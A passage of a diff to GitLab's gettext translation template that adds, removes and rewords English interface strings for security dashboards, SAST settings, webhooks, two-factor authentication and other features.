msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
